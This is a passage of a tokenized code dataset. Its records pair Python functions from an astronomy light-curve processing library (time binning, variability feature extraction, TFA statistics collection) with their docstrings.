errs<EOL><DEDENT>binned = time_bin_magseries_with_errs(times,<EOL>mags,<EOL>errs,<EOL>binsize=binsizesec,<EOL>minbinelems=minbinelems)<EOL>lcdict['<STR_LIT>'][mcol] = {'<STR_LIT>':binned['<STR_LIT>'],<EOL>'<STR_LIT>':binned['<STR_LIT>'],<EOL>'<STR_LIT>':binned['<STR_LIT>'],<EOL>'<STR_LIT>':binned['<STR_LIT>'],<EOL>'<STR_LIT>':binned['<STR_LIT>'],<EOL>'<STR_LIT>':binsizesec}<EOL><DEDENT>if outdir is None:<EOL><INDENT>outdir = os.path.dirname(lcfile)<EOL><DEDENT>outfile = os.path.join(outdir, '<STR_LIT>' %<EOL>(squeeze(lcdict['<STR_LIT>']).replace('<STR_LIT:U+0020>','<STR_LIT:->'),<EOL>binsizesec, lcformat))<EOL>with open(outfile, '<STR_LIT:wb>') as outfd:<EOL><INDENT>pickle.dump(lcdict, outfd, protocol=pickle.HIGHEST_PROTOCOL)<EOL><DEDENT>return outfile<EOL>", "docstring": "This bins the given light curve file in time using the specified bin size.\n\n    Parameters\n    ----------\n\n    lcfile : str\n        The file name to process.\n\n    binsizesec : float\n        The time bin-size in seconds.\n\n    outdir : str or None\n        If this is a str, the output LC will be written to `outdir`. If this is\n        None, the output LC will be written to the same directory as `lcfile`.\n\n    lcformat : str\n        This is the `formatkey` associated with your light curve format, which\n        you previously passed in to the `lcproc.register_lcformat`\n        function. This will be used to look up how to find and read the light\n        curve file.\n\n    lcformatdir : str or None\n        If this is provided, gives the path to a directory when you've stored\n        your lcformat description JSONs, other than the usual directories lcproc\n        knows to search for them in. Use this along with `lcformat` to specify\n        an LC format JSON file that's not currently registered with lcproc.\n\n    timecols,magcols,errcols : lists of str\n        The keys in the lcdict produced by your light curve reader function that\n        correspond to the times, mags/fluxes, and associated measurement errors\n        that will be used as inputs to the binning process. If these are None,\n        the default values for `timecols`, `magcols`, and `errcols` for your\n        light curve format will be used here.\n\n    minbinelems : int\n        The minimum number of time-bin elements required to accept a time-bin as\n        valid for the output binned light curve.\n\n    Returns\n    -------\n\n    str\n        The name of the output pickle file with the binned LC.\n\n        Writes the output binned light curve to a pickle that contains the\n        lcdict with an added `lcdict['binned'][magcol]` key, which contains the\n        binned times, mags/fluxes, and errs as\n        `lcdict['binned'][magcol]['times']`, `lcdict['binned'][magcol]['mags']`,\n        and `lcdict['epd'][magcol]['errs']` for each `magcol` provided in the\n        input or default `magcols` value for this light curve format.", "id": "f14705:m1"}
{"signature": "def timebinlc_worker(task):", "body": "lcfile, binsizesec, kwargs = task<EOL>try:<EOL><INDENT>binnedlc = timebinlc(lcfile, binsizesec, **kwargs)<EOL>LOGINFO('<STR_LIT>' %<EOL>(lcfile, binsizesec, binnedlc))<EOL>return binnedlc<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>' % (lcfile,<EOL>binsizesec))<EOL>return None<EOL><DEDENT>", "docstring": "This is a parallel worker for the function below.\n\nParameters\n----------\n\ntask : tuple\n    This is of the form::\n\n        task[0] = lcfile\n        task[1] = binsizesec\n        task[3] = {'outdir','lcformat','lcformatdir',\n                   'timecols','magcols','errcols','minbinelems'}\n\nReturns\n-------\n\nstr\n    The output pickle file with the binned LC if successful. None otherwise.", "id": "f14705:m2"}
{"signature": "def parallel_timebin(lclist,<EOL>binsizesec,<EOL>maxobjects=None,<EOL>outdir=None,<EOL>lcformat='<STR_LIT>',<EOL>lcformatdir=None,<EOL>timecols=None,<EOL>magcols=None,<EOL>errcols=None,<EOL>minbinelems=<NUM_LIT:7>,<EOL>nworkers=NCPUS,<EOL>maxworkertasks=<NUM_LIT:1000>):", "body": "if outdir and not os.path.exists(outdir):<EOL><INDENT>os.mkdir(outdir)<EOL><DEDENT>if maxobjects is not None:<EOL><INDENT>lclist = lclist[:maxobjects]<EOL><DEDENT>tasks = [(x, binsizesec, {'<STR_LIT>':outdir,<EOL>'<STR_LIT>':lcformat,<EOL>'<STR_LIT>':lcformatdir,<EOL>'<STR_LIT>':timecols,<EOL>'<STR_LIT>':magcols,<EOL>'<STR_LIT>':errcols,<EOL>'<STR_LIT>':minbinelems}) for x in lclist]<EOL>pool = mp.Pool(nworkers, maxtasksperchild=maxworkertasks)<EOL>results = pool.map(timebinlc_worker, tasks)<EOL>pool.close()<EOL>pool.join()<EOL>resdict = {os.path.basename(x):y for (x,y) in zip(lclist, results)}<EOL>return resdict<EOL>", "docstring": "This time-bins all the LCs in the list using the specified bin size.\n\n    Parameters\n    ----------\n\n    lclist : list of str\n        The input LCs to process.\n\n    binsizesec : float\n        The time bin size to use in seconds.\n\n    maxobjects : int or None\n        If provided, LC processing will stop at `lclist[maxobjects]`.\n\n    outdir : str or None\n        The directory where output LCs will be written. If None, will write to\n        the same directory as the input LCs.\n\n    lcformat : str\n        This is the `formatkey` associated with your light curve format, which\n        you previously passed in to the `lcproc.register_lcformat`\n        function. This will be used to look up how to find and read the light\n        curve file.\n\n    lcformatdir : str or None\n        If this is provided, gives the path to a directory when you've stored\n        your lcformat description JSONs, other than the usual directories lcproc\n        knows to search for them in. Use this along with `lcformat` to specify\n        an LC format JSON file that's not currently registered with lcproc.\n\n    timecols,magcols,errcols : lists of str\n        The keys in the lcdict produced by your light curve reader function that\n        correspond to the times, mags/fluxes, and associated measurement errors\n        that will be used as inputs to the binning process. If these are None,\n        the default values for `timecols`, `magcols`, and `errcols` for your\n        light curve format will be used here.\n\n    minbinelems : int\n        The minimum number of time-bin elements required to accept a time-bin as\n        valid for the output binned light curve.\n\n    nworkers : int\n        Number of parallel workers to launch.\n\n    maxworkertasks : int\n        The maximum number of tasks a parallel worker will complete before being\n        replaced to guard against memory leaks.\n\n    Returns\n    -------\n\n    dict\n        The returned dict contains keys = input LCs, vals = output LCs.", "id": "f14705:m3"}
{"signature": "def parallel_timebin_lcdir(lcdir,<EOL>binsizesec,<EOL>maxobjects=None,<EOL>outdir=None,<EOL>lcformat='<STR_LIT>',<EOL>lcformatdir=None,<EOL>timecols=None,<EOL>magcols=None,<EOL>errcols=None,<EOL>minbinelems=<NUM_LIT:7>,<EOL>nworkers=NCPUS,<EOL>maxworkertasks=<NUM_LIT:1000>):", "body": "try:<EOL><INDENT>formatinfo = get_lcformat(lcformat,<EOL>use_lcformat_dir=lcformatdir)<EOL>if formatinfo:<EOL><INDENT>(fileglob, readerfunc,<EOL>dtimecols, dmagcols, derrcols,<EOL>magsarefluxes, normfunc) = formatinfo<EOL><DEDENT>else:<EOL><INDENT>LOGERROR(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT>lclist = sorted(glob.glob(os.path.join(lcdir, fileglob)))<EOL>return parallel_timebin(lclist,<EOL>binsizesec,<EOL>maxobjects=maxobjects,<EOL>outdir=outdir,<EOL>lcformat=lcformat,<EOL>timecols=timecols,<EOL>magcols=magcols,<EOL>errcols=errcols,<EOL>minbinelems=minbinelems,<EOL>nworkers=nworkers,<EOL>maxworkertasks=maxworkertasks)<EOL>", "docstring": "This time bins all the light curves in the specified directory.\n\nParameters\n----------\n\nlcdir : list of str\n    Directory containing the input LCs to process.\n\nbinsizesec : float\n    The time bin size to use in seconds.\n\nmaxobjects : int or None\n    If provided, LC processing will stop at `lclist[maxobjects]`.\n\noutdir : str or None\n    The directory where output LCs will be written. If None, will write to\n    the same directory as the input LCs.\n\nlcformat : str\n    This is the `formatkey` associated with your light curve format, which\n    you previously passed in to the `lcproc.register_lcformat`\n    function. This will be used to look up how to find and read the light\n    curve file.\n\nlcformatdir : str or None\n    If this is provided, gives the path to a directory when you've stored\n    your lcformat description JSONs, other than the usual directories lcproc\n    knows to search for them in. Use this along with `lcformat` to specify\n    an LC format JSON file that's not currently registered with lcproc.\n\ntimecols,magcols,errcols : lists of str\n    The keys in the lcdict produced by your light curve reader function that\n    correspond to the times, mags/fluxes, and associated measurement errors\n    that will be used as inputs to the binning process. If these are None,\n    the default values for `timecols`, `magcols`, and `errcols` for your\n    light curve format will be used here.\n\nminbinelems : int\n    The minimum number of time-bin elements required to accept a time-bin as\n    valid for the output binned light curve.\n\nnworkers : int\n    Number of parallel workers to launch.\n\nmaxworkertasks : int\n    The maximum number of tasks a parallel worker will complete before being\n    replaced to guard against memory leaks.\n\nReturns\n-------\n\ndict\n    The returned dict contains keys = input LCs, vals = output LCs.", "id": "f14705:m4"}
{"signature": "def get_varfeatures(lcfile,<EOL>outdir,<EOL>timecols=None,<EOL>magcols=None,<EOL>errcols=None,<EOL>mindet=<NUM_LIT:1000>,<EOL>lcformat='<STR_LIT>',<EOL>lcformatdir=None):", "body": "try:<EOL><INDENT>formatinfo = get_lcformat(lcformat,<EOL>use_lcformat_dir=lcformatdir)<EOL>if formatinfo:<EOL><INDENT>(dfileglob, readerfunc,<EOL>dtimecols, dmagcols, derrcols,<EOL>magsarefluxes, normfunc) = formatinfo<EOL><DEDENT>else:<EOL><INDENT>LOGERROR(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT>if timecols is None:<EOL><INDENT>timecols = dtimecols<EOL><DEDENT>if magcols is None:<EOL><INDENT>magcols = dmagcols<EOL><DEDENT>if errcols is None:<EOL><INDENT>errcols = derrcols<EOL><DEDENT>try:<EOL><INDENT>lcdict = readerfunc(lcfile)<EOL>if ( (isinstance(lcdict, (list, tuple))) and<EOL>(isinstance(lcdict[<NUM_LIT:0>], dict)) ):<EOL><INDENT>lcdict = lcdict[<NUM_LIT:0>]<EOL><DEDENT>resultdict = {'<STR_LIT>':lcdict['<STR_LIT>'],<EOL>'<STR_LIT:info>':lcdict['<STR_LIT>'],<EOL>'<STR_LIT>':os.path.basename(lcfile)}<EOL>if normfunc is not None:<EOL><INDENT>lcdict = normfunc(lcdict)<EOL><DEDENT>for tcol, mcol, ecol in zip(timecols, magcols, errcols):<EOL><INDENT>if '<STR_LIT:.>' in tcol:<EOL><INDENT>tcolget = tcol.split('<STR_LIT:.>')<EOL><DEDENT>else:<EOL><INDENT>tcolget = [tcol]<EOL><DEDENT>times = _dict_get(lcdict, tcolget)<EOL>if '<STR_LIT:.>' in mcol:<EOL><INDENT>mcolget = mcol.split('<STR_LIT:.>')<EOL><DEDENT>else:<EOL><INDENT>mcolget = [mcol]<EOL><DEDENT>mags = _dict_get(lcdict, mcolget)<EOL>if '<STR_LIT:.>' in ecol:<EOL><INDENT>ecolget = ecol.split('<STR_LIT:.>')<EOL><DEDENT>else:<EOL><INDENT>ecolget = [ecol]<EOL><DEDENT>errs = _dict_get(lcdict, ecolget)<EOL>if normfunc is None:<EOL><INDENT>ntimes, nmags = normalize_magseries(<EOL>times, mags,<EOL>magsarefluxes=magsarefluxes<EOL>)<EOL>times, mags, errs = ntimes, nmags, errs<EOL><DEDENT>finind = np.isfinite(times) & np.isfinite(mags) & np.isfinite(errs)<EOL>if mags[finind].size < mindet:<EOL><INDENT>LOGINFO('<STR_LIT>' %<EOL>(mags[finind].size, mcol, os.path.basename(lcfile)))<EOL>resultdict[mcol] = None<EOL><DEDENT>else:<EOL><INDENT>lcfeatures = varfeatures.all_nonperiodic_features(<EOL>times, mags, errs<EOL>)<EOL>resultdict[mcol] = lcfeatures<EOL><DEDENT><DEDENT>try:<EOL><INDENT>magmads = np.zeros(len(magcols))<EOL>for mind, mcol in enumerate(magcols):<EOL><INDENT>if '<STR_LIT:.>' in mcol:<EOL><INDENT>mcolget = mcol.split('<STR_LIT:.>')<EOL><DEDENT>else:<EOL><INDENT>mcolget = [mcol]<EOL><DEDENT>magmads[mind] = resultdict[mcol]['<STR_LIT>']<EOL><DEDENT>bestmagcolind = np.where(magmads == np.min(magmads))[<NUM_LIT:0>]<EOL>resultdict['<STR_LIT>'] = magcols[bestmagcolind]<EOL><DEDENT>except Exception as e:<EOL><INDENT>resultdict['<STR_LIT>'] = None<EOL><DEDENT>outfile = os.path.join(outdir,<EOL>'<STR_LIT>' %<EOL>squeeze(resultdict['<STR_LIT>']).replace('<STR_LIT:U+0020>','<STR_LIT:->'))<EOL>with open(outfile, '<STR_LIT:wb>') as outfd:<EOL><INDENT>pickle.dump(resultdict, outfd, protocol=<NUM_LIT:4>)<EOL><DEDENT>return outfile<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>' %<EOL>(os.path.basename(lcfile), e))<EOL>return None<EOL><DEDENT>", "docstring": "This runs :py:func:`astrobase.varclass.varfeatures.all_nonperiodic_features`\n    on a single LC file.\n\n    Parameters\n    ----------\n\n    lcfile : str\n        The input light curve to process.\n\n    outfile : str\n        The filename of the output variable features pickle that will be\n        generated.\n\n    timecols : list of str or None\n        The timecol keys to use from the lcdict in calculating the features.\n\n    magcols : list of str or None\n        The magcol keys to use from the lcdict in calculating the features.\n\n    errcols : list of str or None\n        The errcol keys to use from the lcdict in calculating the features.\n\n    mindet : int\n        The minimum number of LC points required to generate variability\n        features.\n\n    lcformat : str\n        This is the `formatkey` associated with your light curve format, which\n        you previously passed in to the `lcproc.register_lcformat`\n        function. This will be used to look up how to find and read the light\n        curves specified in `basedir` or `use_list_of_filenames`.\n\n    lcformatdir : str or None\n        If this is provided, gives the path to a directory when you've stored\n        your lcformat description JSONs, other than the usual directories lcproc\n        knows to search for them in. Use this along with `lcformat` to specify\n        an LC format JSON file that's not currently registered with lcproc.\n\n    Returns\n    -------\n\n    str\n        The generated variability features pickle for the input LC, with results\n        for each magcol in the input `magcol` or light curve format's default\n        `magcol` list.", "id": "f14706:m1"}
{"signature": "def _varfeatures_worker(task):", "body": "try:<EOL><INDENT>(lcfile, outdir, timecols, magcols, errcols,<EOL>mindet, lcformat, lcformatdir) = task<EOL>return get_varfeatures(lcfile, outdir,<EOL>timecols=timecols,<EOL>magcols=magcols,<EOL>errcols=errcols,<EOL>mindet=mindet,<EOL>lcformat=lcformat,<EOL>lcformatdir=lcformatdir)<EOL><DEDENT>except Exception as e:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "This wraps varfeatures.", "id": "f14706:m2"}
{"signature": "def serial_varfeatures(lclist,<EOL>outdir,<EOL>maxobjects=None,<EOL>timecols=None,<EOL>magcols=None,<EOL>errcols=None,<EOL>mindet=<NUM_LIT:1000>,<EOL>lcformat='<STR_LIT>',<EOL>lcformatdir=None):", "body": "if maxobjects:<EOL><INDENT>lclist = lclist[:maxobjects]<EOL><DEDENT>tasks = [(x, outdir, timecols, magcols, errcols,<EOL>mindet, lcformat, lcformatdir)<EOL>for x in lclist]<EOL>for task in tqdm(tasks):<EOL><INDENT>result = _varfeatures_worker(task)<EOL><DEDENT>return result<EOL>", "docstring": "This runs variability feature extraction for a list of LCs.\n\n    Parameters\n    ----------\n\n    lclist : list of str\n        The list of light curve file names to process.\n\n    outdir : str\n        The directory where the output varfeatures pickle files will be written.\n\n    maxobjects : int\n        The number of LCs to process from `lclist`.\n\n    timecols : list of str or None\n        The timecol keys to use from the lcdict in calculating the features.\n\n    magcols : list of str or None\n        The magcol keys to use from the lcdict in calculating the features.\n\n    errcols : list of str or None\n        The errcol keys to use from the lcdict in calculating the features.\n\n    mindet : int\n        The minimum number of LC points required to generate variability\n        features.\n\n    lcformat : str\n        This is the `formatkey` associated with your light curve format, which\n        you previously passed in to the `lcproc.register_lcformat`\n        function. This will be used to look up how to find and read the light\n        curves specified in `basedir` or `use_list_of_filenames`.\n\n    lcformatdir : str or None\n        If this is provided, gives the path to a directory when you've stored\n        your lcformat description JSONs, other than the usual directories lcproc\n        knows to search for them in. Use this along with `lcformat` to specify\n        an LC format JSON file that's not currently registered with lcproc.\n\n    Returns\n    -------\n\n    list of str\n        List of the generated variability features pickles for the input LCs,\n        with results for each magcol in the input `magcol` or light curve\n        format's default `magcol` list.", "id": "f14706:m3"}
{"signature": "def parallel_varfeatures(lclist,<EOL>outdir,<EOL>maxobjects=None,<EOL>timecols=None,<EOL>magcols=None,<EOL>errcols=None,<EOL>mindet=<NUM_LIT:1000>,<EOL>lcformat='<STR_LIT>',<EOL>lcformatdir=None,<EOL>nworkers=NCPUS):", "body": "<EOL>if not os.path.exists(outdir):<EOL><INDENT>os.makedirs(outdir)<EOL><DEDENT>if maxobjects:<EOL><INDENT>lclist = lclist[:maxobjects]<EOL><DEDENT>tasks = [(x, outdir, timecols, magcols, errcols, mindet,<EOL>lcformat, lcformatdir) for x in lclist]<EOL>with ProcessPoolExecutor(max_workers=nworkers) as executor:<EOL><INDENT>resultfutures = executor.map(varfeatures_worker, tasks)<EOL><DEDENT>results = [x for x in resultfutures]<EOL>resdict = {os.path.basename(x):y for (x,y) in zip(lclist, results)}<EOL>return resdict<EOL>", "docstring": "This runs variable feature extraction in parallel for all LCs in `lclist`.\n\n    Parameters\n    ----------\n\n    lclist : list of str\n        The list of light curve file names to process.\n\n    outdir : str\n        The directory where the output varfeatures pickle files will be written.\n\n    maxobjects : int\n        The number of LCs to process from `lclist`.\n\n    timecols : list of str or None\n        The timecol keys to use from the lcdict in calculating the features.\n\n    magcols : list of str or None\n        The magcol keys to use from the lcdict in calculating the features.\n\n    errcols : list of str or None\n        The errcol keys to use from the lcdict in calculating the features.\n\n    mindet : int\n        The minimum number of LC points required to generate variability\n        features.\n\n    lcformat : str\n        This is the `formatkey` associated with your light curve format, which\n        you previously passed in to the `lcproc.register_lcformat`\n        function. This will be used to look up how to find and read the light\n        curves specified in `basedir` or `use_list_of_filenames`.\n\n    lcformatdir : str or None\n        If this is provided, gives the path to a directory when you've stored\n        your lcformat description JSONs, other than the usual directories lcproc\n        knows to search for them in. Use this along with `lcformat` to specify\n        an LC format JSON file that's not currently registered with lcproc.\n\n    nworkers : int\n        The number of parallel workers to launch.\n\n    Returns\n    -------\n\n    dict\n        A dict with key:val pairs of input LC file name : the generated\n        variability features pickles for each of the input LCs, with results for\n        each magcol in the input `magcol` or light curve format's default\n        `magcol` list.", "id": "f14706:m4"}
{"signature": "def parallel_varfeatures_lcdir(lcdir,<EOL>outdir,<EOL>fileglob=None,<EOL>maxobjects=None,<EOL>timecols=None,<EOL>magcols=None,<EOL>errcols=None,<EOL>recursive=True,<EOL>mindet=<NUM_LIT:1000>,<EOL>lcformat='<STR_LIT>',<EOL>lcformatdir=None,<EOL>nworkers=NCPUS):", "body": "try:<EOL><INDENT>formatinfo = get_lcformat(lcformat,<EOL>use_lcformat_dir=lcformatdir)<EOL>if formatinfo:<EOL><INDENT>(dfileglob, readerfunc,<EOL>dtimecols, dmagcols, derrcols,<EOL>magsarefluxes, normfunc) = formatinfo<EOL><DEDENT>else:<EOL><INDENT>LOGERROR(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT>if not fileglob:<EOL><INDENT>fileglob = dfileglob<EOL><DEDENT>LOGINFO('<STR_LIT>' % (lcformat, lcdir))<EOL>if recursive is False:<EOL><INDENT>matching = glob.glob(os.path.join(lcdir, fileglob))<EOL><DEDENT>else:<EOL><INDENT>if sys.version_info[:<NUM_LIT:2>] > (<NUM_LIT:3>,<NUM_LIT:4>):<EOL><INDENT>matching = glob.glob(os.path.join(lcdir,<EOL>'<STR_LIT>',<EOL>fileglob),<EOL>recursive=True)<EOL><DEDENT>else:<EOL><INDENT>walker = os.walk(lcdir)<EOL>matching = []<EOL>for root, dirs, _files in walker:<EOL><INDENT>for sdir in dirs:<EOL><INDENT>searchpath = os.path.join(root,<EOL>sdir,<EOL>fileglob)<EOL>foundfiles = glob.glob(searchpath)<EOL>if foundfiles:<EOL><INDENT>matching.extend(foundfiles)<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>if matching and len(matching) > <NUM_LIT:0>:<EOL><INDENT>LOGINFO('<STR_LIT>' %<EOL>len(matching))<EOL>return parallel_varfeatures(matching,<EOL>outdir,<EOL>maxobjects=maxobjects,<EOL>timecols=timecols,<EOL>magcols=magcols,<EOL>errcols=errcols,<EOL>mindet=mindet,<EOL>lcformat=lcformat,<EOL>lcformatdir=lcformatdir,<EOL>nworkers=nworkers)<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>' % (lcformat,<EOL>lcdir))<EOL>return None<EOL><DEDENT>", "docstring": "This runs parallel variable feature extraction for a directory of LCs.\n\n    Parameters\n    ----------\n\n    lcdir : str\n        The directory of light curve files to process.\n\n    outdir : str\n        The directory where the output varfeatures pickle files will be written.\n\n    fileglob : str or None\n        The file glob to use when looking for light curve files in `lcdir`. If\n        None, the default file glob associated for this LC format will be used.\n\n    maxobjects : int\n        The number of LCs to process from `lclist`.\n\n    timecols : list of str or None\n        The timecol keys to use from the lcdict in calculating the features.\n\n    magcols : list of str or None\n        The magcol keys to use from the lcdict in calculating the features.\n\n    errcols : list of str or None\n        The errcol keys to use from the lcdict in calculating the features.\n\n    mindet : int\n        The minimum number of LC points required to generate variability\n        features.\n\n    lcformat : str\n        This is the `formatkey` associated with your light curve format, which\n        you previously passed in to the `lcproc.register_lcformat`\n        function. This will be used to look up how to find and read the light\n        curves specified in `basedir` or `use_list_of_filenames`.\n\n    lcformatdir : str or None\n        If this is provided, gives the path to a directory when you've stored\n        your lcformat description JSONs, other than the usual directories lcproc\n        knows to search for them in. Use this along with `lcformat` to specify\n        an LC format JSON file that's not currently registered with lcproc.\n\n    nworkers : int\n        The number of parallel workers to launch.\n\n    Returns\n    -------\n\n    dict\n        A dict with key:val pairs of input LC file name : the generated\n        variability features pickles for each of the input LCs, with results for\n        each magcol in the input `magcol` or light curve format's default\n        `magcol` list.", "id": "f14706:m5"}
{"signature": "def _collect_tfa_stats(task):", "body": "try:<EOL><INDENT>(lcfile, lcformat, lcformatdir,<EOL>timecols, magcols, errcols,<EOL>custom_bandpasses) = task<EOL>try:<EOL><INDENT>formatinfo = get_lcformat(lcformat,<EOL>use_lcformat_dir=lcformatdir)<EOL>if formatinfo:<EOL><INDENT>(dfileglob, readerfunc,<EOL>dtimecols, dmagcols, derrcols,<EOL>magsarefluxes, normfunc) = formatinfo<EOL><DEDENT>else:<EOL><INDENT>LOGERROR(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT>if timecols is None:<EOL><INDENT>timecols = dtimecols<EOL><DEDENT>if magcols is None:<EOL><INDENT>magcols = dmagcols<EOL><DEDENT>if errcols is None:<EOL><INDENT>errcols = derrcols<EOL><DEDENT>lcdict = readerfunc(lcfile)<EOL>if ( (isinstance(lcdict, (list, tuple))) and<EOL>(isinstance(lcdict[<NUM_LIT:0>], dict)) ):<EOL><INDENT>lcdict = lcdict[<NUM_LIT:0>]<EOL><DEDENT>if '<STR_LIT>' in lcdict:<EOL><INDENT>objectid = lcdict['<STR_LIT>']<EOL><DEDENT>elif '<STR_LIT>' in lcdict and '<STR_LIT>' in lcdict['<STR_LIT>']:<EOL><INDENT>objectid = lcdict['<STR_LIT>']['<STR_LIT>']<EOL><DEDENT>elif '<STR_LIT>' in lcdict and '<STR_LIT>' in lcdict['<STR_LIT>']:<EOL><INDENT>objectid = lcdict['<STR_LIT>']['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>' % lcfile)<EOL>objectid = os.path.splitext(os.path.basename(lcfile))[<NUM_LIT:0>]<EOL><DEDENT>if '<STR_LIT>' in lcdict:<EOL><INDENT>colorfeat = starfeatures.color_features(<EOL>lcdict['<STR_LIT>'],<EOL>deredden=False,<EOL>custom_bandpasses=custom_bandpasses<EOL>)<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>lcfile)<EOL>return None<EOL><DEDENT>resultdict = {'<STR_LIT>':objectid,<EOL>'<STR_LIT>':lcdict['<STR_LIT>']['<STR_LIT>'],<EOL>'<STR_LIT>':lcdict['<STR_LIT>']['<STR_LIT>'],<EOL>'<STR_LIT>':colorfeat,<EOL>'<STR_LIT>':os.path.abspath(lcfile),<EOL>'<STR_LIT>':lcformat,<EOL>'<STR_LIT>':lcformatdir,<EOL>'<STR_LIT>':timecols,<EOL>'<STR_LIT>':magcols,<EOL>'<STR_LIT>':errcols}<EOL>for tcol, mcol, ecol in zip(timecols, magcols, errcols):<EOL><INDENT>try:<EOL><INDENT>if '<STR_LIT:.>' in tcol:<EOL><INDENT>tcolget = tcol.split('<STR_LIT:.>')<EOL><DEDENT>else:<EOL><INDENT>tcolget = [tcol]<EOL><DEDENT>times = _dict_get(lcdict, tcolget)<EOL>if '<STR_LIT:.>' in mcol:<EOL><INDENT>mcolget = mcol.split('<STR_LIT:.>')<EOL><DEDENT>else:<EOL><INDENT>mcolget = [mcol]<EOL><DEDENT>mags = _dict_get(lcdict, mcolget)<EOL>if '<STR_LIT:.>' in ecol:<EOL><INDENT>ecolget = ecol.split('<STR_LIT:.>')<EOL><DEDENT>else:<EOL><INDENT>ecolget = [ecol]<EOL><DEDENT>errs = _dict_get(lcdict, ecolget)<EOL>if normfunc is None:<EOL><INDENT>ntimes, nmags = normalize_magseries(<EOL>times, mags,<EOL>magsarefluxes=magsarefluxes<EOL>)<EOL>times, mags, errs = ntimes, nmags, errs<EOL><DEDENT>varfeat = varfeatures.all_nonperiodic_features(<EOL>times, mags, errs<EOL>)<EOL>resultdict[mcol] = varfeat<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>' %<EOL>(lcfile, mcol))<EOL>resultdict[mcol] = {'<STR_LIT>':<NUM_LIT:0>,<EOL>'<STR_LIT>':np.nan,<EOL>'<STR_LIT>':np.nan}<EOL><DEDENT><DEDENT>return resultdict<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>' %<EOL>repr(task))<EOL>return None<EOL><DEDENT>", "docstring": "This is a parallel worker to gather LC stats.\n\ntask[0] = lcfile\ntask[1] = lcformat\ntask[2] = lcformatdir\ntask[3] = timecols\ntask[4] = magcols\ntask[5] = errcols\ntask[6] = custom_bandpasses", "id": "f14707:m1"}
{"signature": "def _reform_templatelc_for_tfa(task):", "body": "try:<EOL><INDENT>(lcfile, lcformat, lcformatdir,<EOL>tcol, mcol, ecol,<EOL>timebase, interpolate_type, sigclip) = task<EOL>try:<EOL><INDENT>formatinfo = get_lcformat(lcformat,<EOL>use_lcformat_dir=lcformatdir)<EOL>if formatinfo:<EOL><INDENT>(dfileglob, readerfunc,<EOL>dtimecols, dmagcols, derrcols,<EOL>magsarefluxes, normfunc) = formatinfo<EOL><DEDENT>else:<EOL><INDENT>LOGERROR(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT>lcdict = readerfunc(lcfile)<EOL>if ( (isinstance(lcdict, (list, tuple))) and<EOL>(isinstance(lcdict[<NUM_LIT:0>], dict)) ):<EOL><INDENT>lcdict = lcdict[<NUM_LIT:0>]<EOL><DEDENT>outdict = {}<EOL>if '<STR_LIT:.>' in tcol:<EOL><INDENT>tcolget = tcol.split('<STR_LIT:.>')<EOL><DEDENT>else:<EOL><INDENT>tcolget = [tcol]<EOL><DEDENT>times = _dict_get(lcdict, tcolget)<EOL>if '<STR_LIT:.>' in mcol:<EOL><INDENT>mcolget = mcol.split('<STR_LIT:.>')<EOL><DEDENT>else:<EOL><INDENT>mcolget = [mcol]<EOL><DEDENT>mags = _dict_get(lcdict, mcolget)<EOL>if '<STR_LIT:.>' in ecol:<EOL><INDENT>ecolget = ecol.split('<STR_LIT:.>')<EOL><DEDENT>else:<EOL><INDENT>ecolget = [ecol]<EOL><DEDENT>errs = _dict_get(lcdict, ecolget)<EOL>if normfunc is None:<EOL><INDENT>ntimes, nmags = normalize_magseries(<EOL>times, mags,<EOL>magsarefluxes=magsarefluxes<EOL>)<EOL><DEDENT>times, mags, errs = ntimes, nmags, errs<EOL>stimes, smags, serrs = sigclip_magseries(times,<EOL>mags,<EOL>errs,<EOL>sigclip=sigclip)<EOL>mags_interpolator = spi.interp1d(stimes, smags,<EOL>kind=interpolate_type,<EOL>fill_value='<STR_LIT>')<EOL>errs_interpolator = spi.interp1d(stimes, serrs,<EOL>kind=interpolate_type,<EOL>fill_value='<STR_LIT>')<EOL>interpolated_mags = mags_interpolator(timebase)<EOL>interpolated_errs = errs_interpolator(timebase)<EOL>magmedian = np.median(interpolated_mags)<EOL>renormed_mags = interpolated_mags - magmedian<EOL>outdict = {'<STR_LIT>':renormed_mags,<EOL>'<STR_LIT>':interpolated_errs,<EOL>'<STR_LIT>':interpolated_mags}<EOL>return outdict<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>' % repr(task))<EOL>return None<EOL><DEDENT>", "docstring": "This is a parallel worker that reforms light curves for TFA.\n\ntask[0] = lcfile\ntask[1] = lcformat\ntask[2] = lcformatdir\ntask[3] = timecol\ntask[4] = magcol\ntask[5] = errcol\ntask[6] = timebase\ntask[7] = interpolate_type\ntask[8] = sigclip", "id": "f14707:m2"}
